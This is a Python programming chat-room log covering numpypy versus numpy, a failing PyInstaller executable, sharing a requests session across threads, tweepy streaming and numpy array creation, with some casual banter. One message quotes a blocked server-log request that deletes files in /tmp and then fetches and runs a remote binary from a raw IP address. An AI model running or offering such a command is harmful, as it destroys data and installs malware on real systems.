@Todd Yeah the pypy FAQ I cited pretty much says 'use numpy'. Curious why you chose pypy? Not saying you're wrong, just curious. Is that you or your employer who chose it?
@Todd Yes I just cited you their own FAQ which pretty much sheepishly admits it. Because it says numpypy is written in RPython (which I'd never heard of, and sounds pretty primitive). So if this is an important issue for your project, either use pypy with numpy, or plain old CPython with numpy. (Or write your own C extensions, or whatever). If you think the pypy FAQ should be more explicit about any of that, send them a docbug or email.
@Todd Don't use numpypy. It was the initial prototype to have JIT-aware numpy, basically by rewriting (large parts of) numpy in RPython. The current roadmap instead aims at improving PyPy's C-API so that the JIT is aware of native numpy.
There are PyPy JIT prototypes that are already capable of vectorizing array operations. Both numpy and array arrays.
As part of the PyPy JIT and Gilectomy approaches, there is work ongoing for a new C-API that doesn't make as many assumptions about CPython internals.
@smci for what it's worth, just specifically talking about your mention of RPython, RPython is what pypy uses.
So it's not bad or anything per se, it's essentially a subset of python. But yeah, when it comes to numpy, numpypy seems to be a sort of failed experiment at this point
HI, i created a py.exe using pyinstaller but my program is not getting executed. Generally my code is running fine, but as a exe file its not running. please give me some suggestions.
Please provide more detail. What do you mean by "as a exe file its not running"? Does it crash? Is it not executable? Does it behave differently than expected, e.g. failing to ask for input or failing to provide output?
The code should generate the output in the html file. as exe file program asks for the input it runs fine and even it prints the output in the console.
error :Failed to execute script but at the end error is like failed to execute the script
@vagautam you can read our rules to learn how to ask here. The py in pyspark means this is a right place, but we'll only know if anyone can help if you ask your question :)
how to maintain requests session object under threading process
am doing it like that, but i feel it's incorrect way
def myfunc(url, params):
with requests.Session() as req:
r = req.get(url, params=params)
return r.content
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(
myfunc, "https://site.com/", page=f"i") for i in range(0, 10)]
am pretty sure that am just creating session for each thread.
Oh okay, seems i need to create it out of my function and pass it as args
The lifetime and scope of a block inside a function is always less than the function itself. Opening a context inside a function inside a thread automatically restricts the context to that thread.
by the way, are you sure that sessions are thread safe?
A long-standing problem of observing Room Temperature Superconductivity is finally solved by a novel approach. Instead of increasing the critical temperature Tc of a superconductor, the temperature of the room was decreased to an appropriate Tc value. We consider this approach more promising for obtaining a large number of materials possessing Room Temperature Superconductivity in the near future.
OTOH, it's a Good Idea to add the generic python tag to such questions, since most of the gold badgers don't have a python-3.x badge. (There's not much point adding it now that it's closed).
@PM2Ring What's that got to do with April fools? I've watched this documentary called Star Trek: Deep Space 9 and a wormhole and warp drive and everything is very well covered...
@αԋɱҽԃαмєяιcαη It does. But the usual practice is to let gold badgers handle them, if they're in the room. Although that's not so important now that it only takes 3 votes to close a question.
@JonClements :D Wormholes & warp drives are borderline on-topic, since some questions about that stuff can be answered in the context of general relativity. But they often get closed as non-mainstream, since (as far as we know) you need "exotic" matter with negative mass to stabilise a wormhole or warp bubble, and we're pretty certain that such exotic matter can't exist in our universe.
Hum, day X with the kids. Time to explain to them cryptographic signatures, after which the boy goes to his toy laptop and says "I'm now sending my secret key to you, please don't share it."
Sometimes, I wonder whether there is a special division psychology research squad that spends 24/7 analysing such questions. "Frank, we have a 10 on the cigar scale!"
user10984358
13:06
@JonClements fwiw this is a code from leetcode’s 30 days of coding something and hence why the class and camel case function name. The original question asks you to do in linear time though.
actually surprised that timeline icon didn't get pushed out for everyone sooner - mods had that for well over a year
Just managed to finally catch up on the rest of Star Trek: Picard - absolutely loved a few scenes in the Nepenthe episode... Very much gives "feels" like at the end of TNG's "All Good Things" - when Picard joins them for poker and says something like: "I should have done this sooner" and Troi says: "You were always wecome"...
Yay... have a server up for a few days and getting stuff like [01/Apr/2020:14:55:34 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 194.15.36.96/jaws;sh+/tmp/jaws HTTP/1.1" 403 178 "-" "Hello, world" every few minutes... joy
and roughly about 90 IPs being blocked every hour - fun fun fun
Ummm... this comment - am I missing something there before I reply with "Of course it's going to take longer if you have more items and more possible ways of interpreting that data - but how would you imagine it'd be possible otherwise?"
@JonClements Nope. :) But maybe their data isn't totally random, it could have blocks that all use the same date format. OTOH, they may have to deal with total chaos, it seems quite popular these days. ;)
@PM2Ring There is that... but then you just put things in the "most likely to occur" order in the attempts... I suppose one could periodically shift things around depending on tried/failed attempts over N iterations or some logic to attempt to reduce the amount of exceptions, but I think that'd be more overhead than just see if it works or not... exceptions aren't unreasonably expensive especially when you're handling them close to the frame they originate in
@ParitoshSingh Yes I knew it's a (very primitive) subset of Python. I had read the RPython quickstart. It's such a small subset that just looking at it you can expect the performance will suck - Python performance enhances won't apply. And we were talking specifically about numpypy: the vicious circle will be since it has nearly zero production users, its performance will continue to suck. I can't find any blog or benchmarks documenting numpypy performance, which tells me noone is seriously using it.
As usually, the test of whether a (released) package is useful or not is "How many production users, if any, does it have?" If even its own FAQ sheepishly admits "it sucks - don't use it" then that's your answer.
@ParitoshSingh That's spurious, you could claim the same about Python 1.x. Or other retro languages. Numba seems to have >100x more users than numpypy.
@ParitoshSingh We were talking about Rpython specifically for numpypy. If you or anyone has performance numbers showing it doesn't suck, post them. To me, the fact that it apparently has zero production users tells me everything I need to know.
@PM2Ring it's not a spoiler - but here's a little bit (not great quality) of that Picard episode I mentioned that gave me the "feels" of TNG: All Good things
@ParitoshSingh I'm simply concluding that numpypy has no serious users. Precisely why that is so, I'm not going to dig further. There are many better alternatives.
interesting, not sure whether I like it or not (pro: prevent people from mindless sudo pip install attempt, con: "doing this other thing instead that you didn't ask for" is usually not a good design decision)
@JonClements I'm not always aware of the hippest stuff the totally radical people do these days. Had to stop myself from giving snide remarks to a Py2.6-only question just recently; glasshouse and all that.
Hello, quick question, new to tweepy but having a hard time finding documentation regarding the filter() method for the Stream function, can somebody point me some directions please?
> The Twitter streaming API is used to download twitter messages in real time. It is useful for obtaining a high volume of tweets, or for creating a live feed using a site stream or user stream. See the Twitter Streaming API Documentation.
Which contains the tweets id, and I wish recover all the information from each tweet
And start collecting covid-19 tweets myself too
I managed to be able to get all the information from tweet given the id, now I'm lookng for an efficient way to do it instead of simply looping through it line (tweet id) of the txt files
np.array is the go-to array creater function when you start from scratch. np.stack is more for combining existing array-like, see e.g. its axis keyword
I typically only use np.array for literal-like arrays, and np.*stack (stack, hstack, vstack, dstack, and sometimes concatenate) to combine existing arrays